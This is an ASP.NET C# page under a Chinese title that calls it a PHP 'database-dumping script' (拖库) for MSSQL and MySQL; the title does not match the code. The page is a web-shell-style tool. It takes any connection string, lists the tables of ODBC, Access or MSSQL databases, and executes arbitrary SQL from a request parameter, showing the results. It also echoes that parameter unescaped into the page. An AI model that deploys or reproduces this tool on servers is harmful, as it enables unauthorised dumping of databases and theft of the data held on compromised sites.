mssql加mysql拖库脚本 PHP代码2

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<%@ Page Language="C#" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <script runat="server"> protected void Page_Load(object sender, EventArgs e) { //if (Request["sub"] != null && Request["sub"] == "submit") //{ // GridView1.Visible = true;  // //System.Web.HttpContext.Current.Response.Write(DropDownList1.SelectedIndex); // if (DropDownList1.SelectedIndex == 0) // { // using (System.Data.Odbc.OdbcConnection conn = new System.Data.Odbc.OdbcConnection(Request["conn"])) // { // conn.Open(); // System.Data.Odbc.OdbcCommand comm = new System.Data.Odbc.OdbcCommand(Request["sql"], conn); // System.Data.Odbc.OdbcDataAdapter ad = new System.Data.Odbc.OdbcDataAdapter(); // ad.SelectCommand = comm; // System.Data.DataSet ds = new System.Data.DataSet(); // ad.Fill(ds); // GridView1.DataSource = ds; // GridView1.DataBind(); // } // } // if (DropDownList1.SelectedIndex == 2) // { // using (System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection(Request["conn"])) // { // conn.Open(); // System.Data.SqlClient.SqlCommand comm = new System.Data.SqlClient.SqlCommand(Request["sql"], conn); // System.Data.SqlClient.SqlDataAdapter ad = new System.Data.SqlClient.SqlDataAdapter(); // ad.SelectCommand = comm; // System.Data.DataSet ds = new System.Data.DataSet(); // ad.Fill(ds); // GridView1.DataSource = ds; // GridView1.DataBind(); // }  // } // if (DropDownList1.SelectedIndex == 1) // { // using (System.Data.OleDb.OleDbConnection conn = new System.Data.OleDb.OleDbConnection(Request["conn"])) // { // conn.Open(); // System.Data.OleDb.OleDbCommand comm = new System.Data.OleDb.OleDbCommand(Request["sql"], conn); // System.Data.OleDb.OleDbDataAdapter ad = new System.Data.OleDb.OleDbDataAdapter(); // ad.SelectCommand = comm; // System.Data.DataSet ds = new System.Data.DataSet(); // ad.Fill(ds); // GridView1.DataSource = ds; // GridView1.DataBind(); // } // } //}  }   protected void DropDownList1_SelectedIndexChanged(object sender, EventArgs e){ connT.Text = DropDownList1.SelectedValue.ToString(); GridView1.Visible = false; DropDownList2.Items.Clear();} protected void Button1_Click(object sender, EventArgs e) { if (DropDownList1.SelectedIndex == 0) { using (System.Data.Odbc.OdbcConnection conn = new System.Data.Odbc.OdbcConnection(connT.Text.ToString())) //using (System.Data.OleDb.OleDbConnection conn = new System.Data.OleDb.OleDbConnection(connT.Text.ToString())) { conn.Open(); System.Data.DataTable dt = conn.GetSchema("Tables");  //GridView1.DataSource = dt; //GridView1.DataBind(); //GridView1.Visible = true; //DropDownList2.DataSource = dt.Select("TABLE_TYPE='TABLE'"); //DropDownList2.DataValueField = "TABLE_NAME"; //DropDownList2.DataTextField = "TABLE_NAME"; //DropDownList2.DataBind(); DropDownList2.Items.Clear(); foreach (System.Data.DataRow item in dt.Select("TABLE_TYPE='TABLE'")) {  DropDownList2.Items.Add(new ListItem(item["TABLE_NAME"].ToString(), item["TABLE_NAME"].ToString()));  } } } if (DropDownList1.SelectedIndex == 1) { using (System.Data.OleDb.OleDbConnection conn = new System.Data.OleDb.OleDbConnection(connT.Text.ToString())) { conn.Open(); System.Data.DataTable dt = conn.GetSchema("Tables");  //GridView1.DataSource = dt; //GridView1.DataBind(); //GridView1.Visible = true; //DropDownList2.DataSource = dt.Select("TABLE_TYPE='TABLE'"); //DropDownList2.DataValueField = "TABLE_NAME"; //DropDownList2.DataTextField = "TABLE_NAME"; //DropDownList2.DataBind(); DropDownList2.Items.Clear(); foreach (System.Data.DataRow item in dt.Select("TABLE_TYPE='TABLE'")) {  DropDownList2.Items.Add(new ListItem(item["TABLE_NAME"].ToString(), item["TABLE_NAME"].ToString()));  } } } if (DropDownList1.SelectedIndex == 2) { using (System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection(connT.Text.ToString())) { conn.Open(); System.Data.SqlClient.SqlCommand comm = new System.Data.SqlClient.SqlCommand("select name from sysobjects where type='U'", conn); //System.Data.SqlClient.SqlDataReader dr = comm.ExecuteReader(); //string UserTable = ""; //while (dr.Read()) //{ // UserTable = (string)dr[0]; // DropDownList2.Items.Add(UserTable);   //} System.Data.SqlClient.SqlDataAdapter ad = new System.Data.SqlClient.SqlDataAdapter(); ad.SelectCommand = comm; System.Data.DataSet ds = new System.Data.DataSet(); ad.Fill(ds);  DropDownList2.DataSource = ds;  DropDownList2.DataTextField = "name"; DropDownList2.DataValueField = "name"; DropDownList2.DataBind();   } }} protected void Button2_Click(object sender, EventArgs e){ string provoder = "";   if (DropDownList1.SelectedIndex == 1) provoder = "System.Data.OleDb"; else if (DropDownList1.SelectedIndex == 2)  provoder = "System.Data.SqlClient"; else if (DropDownList1.SelectedIndex ==0) { provoder = "System.Data.Odbc"; }  System.Data.Common.DbProviderFactory factory = System.Data.Common.DbProviderFactories.GetFactory(provoder); System.Data.Common.DbConnection conn=factory.CreateConnection() ; conn.ConnectionString = connT.Text; conn.Open(); System.Data.Common.DbCommand comm = conn.CreateCommand(); comm.CommandText = Request["sql"]; System.Data.Common.DbDataReader dr= comm.ExecuteReader(); GridView1.DataSource = dr; GridView1.DataBind(); GridView1.Visible = true; dr.Close(); comm.Dispose(); conn.Close(); }</script> <html xmlns="http://www.w3.org/1999/xhtml"><head runat="server"> <title></title>  <script language="javascript" type="text/javascript">// <!CDATA[  function Select1_onclick() { document.getElementById('conn').value = "dsn"; } // ]]></script> <style type="text/css"> #sql { width: 677px; height: 106px; }</style></head><body> <form id="form1" runat="server"> <div> <table><tr><td > type:</td><td colspan="2"><asp:DropDownList ID="DropDownList1" runat="server"  onselectedindexchanged="DropDownList1_SelectedIndexChanged"  AutoPostBack="True"> <asp:ListItem Value="dsn=;uid=;pwd=;">dsn</asp:ListItem> <asp:ListItem Value="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\database.mdb">access</asp:ListItem> <asp:ListItem Value="server=localhost;UID=sa;PWD=;database=master">mssql</asp:ListItem> </asp:DropDownList> <br/></td> </tr>  <tr><td> conn: </td><td><asp:TextBox ID="connT" name="conn" runat="server" Width="680px"></asp:TextBox></td><td> <asp:Button  ID="Button1" runat="server" Text="Go"  onclick="Button1_Click" /> <br/> </td></tr> <tr><td>tables</td><td colspan="2"> <asp:DropDownList ID="DropDownList2" runat="server"> </asp:DropDownList> </td></tr> <tr><td>sqlstr: </td><td><input type="text" name="sql" id="sql" value="<% =Request["sql"]%>"/></td><td>   <br /> <asp:Button ID="Button2" runat="server" onclick="Button2_Click" Text="Exec" /> </td></tr> </table> <asp:GridView ID="GridView1" runat="server" CellPadding="4" ForeColor="#333333"  GridLines="None"> <RowStyle BackColor="#EFF3FB" /> <FooterStyle BackColor="#507CD1" Font-Bold="True" ForeColor="White" /> <PagerStyle BackColor="#2461BF" ForeColor="White" HorizontalAlign="Center" /> <SelectedRowStyle BackColor="#D1DDF1" Font-Bold="True" ForeColor="#333333" /> <HeaderStyle BackColor="#507CD1" Font-Bold="True" ForeColor="White" /> <EditRowStyle BackColor="#2461BF" /> <AlternatingRowStyle BackColor="White" /> </asp:GridView> </div> </form></body></html>


mssql加mysql拖库脚本 PHP代码2


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